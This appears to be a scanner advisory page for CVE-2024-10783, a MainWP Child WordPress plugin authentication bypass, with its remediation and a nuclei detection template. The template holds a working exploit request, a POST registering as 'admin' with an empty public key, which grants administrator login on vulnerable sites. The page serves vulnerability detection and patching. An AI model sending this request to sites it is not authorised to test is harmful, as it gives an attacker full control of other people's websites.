WordPress Plugin MainWP Child - Authentication Bypass

highseverity

8.1CVSS score

2.3%likelihood of exploitation, next 30 days

84%of all CVEs are less likely

Readycheck to confirm it

The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).

Impact

Unauthenticated attackers can bypass authentication to gain administrator access when the plugin is not connected to MainWP Dashboard and unique security ID is not enabled.

Fix

Update MainWP Child plugin to a version newer than 5.2.

How to confirm it

Send: POST /
Positive when: contains in header "wordpress_logged_in" AND contains "<mainwp>"
Send: GET /wp-admin/index.php
Positive when: contains "Howdy, {{username}}" AND status 200

Run it with nuclei: nuclei -id CVE-2024-10783 -u <target>

The full check

id: CVE-2024-10783

info:
  name: WordPress Plugin MainWP Child - Authentication Bypass
  author: Sean Murphy,iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    The plugin is vulnerable to an authentication bypass that allows an unauthenticated user to login as an administrator without providing a password. This vulnerability is only exploitable when the plugin has not been connected to a MainWP Dashboard and the "Require unique security ID" option is not enabled (it is disabled by default).
  impact: |
    Unauthenticated attackers can bypass authentication to gain administrator access when the plugin is not connected to MainWP Dashboard and unique security ID is not enabled.
  remediation: |
    Update MainWP Child plugin to a version newer than 5.2.
  reference:
    - https://wpscan.com/vulnerability/1898d4f4-1874-4d00-8930-15774d57c9ed/
    - https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-child.php#L76
    - https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L69
    - https://plugins.trac.wordpress.org/browser/mainwp-child/tags/5.2/class/class-mainwp-connect.php#L788
    - https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3197586%40mainwp-child&new=3197586%40mainwp-child&sfp_email=&sfph_mail=
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2024-10783
    cwe-id: CWE-862
    epss-score: 0.02333
    epss-percentile: 0.83702
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/wp-content/plugins/mainwp-child/"
  tags: cve,cve2024,wp,mainwp-child,wpscan,wordpress,wp-plugin,auth-bypass,vuln

flow: http(1) && http(2)

variables:
  username: admin

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        function=register&user={{username}}&pubkey=

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - wordpress_logged_in
        internal: true

      - type: word
        part: body
        words:
          - '<mainwp>'
        internal: true

  - raw:
      - |
        GET /wp-admin/index.php HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'Howdy, {{username}}'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from